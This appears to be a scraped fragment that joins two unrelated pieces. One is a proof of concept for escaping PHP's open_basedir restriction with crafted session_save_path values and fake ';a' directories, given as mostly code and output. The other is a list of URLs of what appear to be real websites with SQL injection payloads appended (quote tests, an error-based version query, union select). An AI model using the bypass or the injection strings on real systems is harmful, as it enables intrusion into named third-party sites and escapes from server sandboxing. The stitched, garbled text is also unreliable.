http://www.asteroid.ru/user_view.phtml?2034/2/17

EXAMPLES:

1. session_save_path("/DIR/WHERE/YOU/HAVE/ACCESS")
2. session_save_path("5;/DIR/WHERE/YOU/HAVE/ACCESS")

The main problem came when we use multiple ';' character and when we will
create fake directory structure to reduce '../'.

Proof of Concept:
0. Create directories:

/humhum

and

/byp

1. set open_basedir = /byp
2. create test.php 
{
session_save_path("/humhum");
session_start();
}
3. php test.php

Warning: session_save_path(): open_basedir restriction in effect.
File(/humhum) is not within the allowed path(s): (/byp) in /byp/test.php on
line 3
4. subdir.php
{
mkdir("puf");
mkdir(";a");
}
5. php subdir.php
6. cd puf
7. create byp.php 
{

session_save_path(";;/byp/;a/../../humhum");
session_start();

}
8. php byp.php
9. ls /humhum
sess_d905eb71c9ad65ce2a845cdb0fed3016

The main problem is located in session.c. PHP doesn't check, that we have
used next ';' after first. Creating fake directory structure

mkdir ';a'
mkdir '../;a'

we can reduce directory level using '../' .

_http://www.orderflowers.co.il/products.php?cid=49+and+(1,1)=(select+*+from+(select+name_const(version(),1),name_const(version(),1))eba%20)

http://www.federationpress.com.au/journals/abstract.asp?id=144'

http://www.etradesman.com.au/tradesman/tradesman.asp?id=144'

http://www.startdreams.com.au/LearnAboutMoney/KB_Content.aspx?section=KB_MB&id=144'

http://www.etradesman.com.au/tradesman/tradesman.asp?id=144+union+select+1+from+news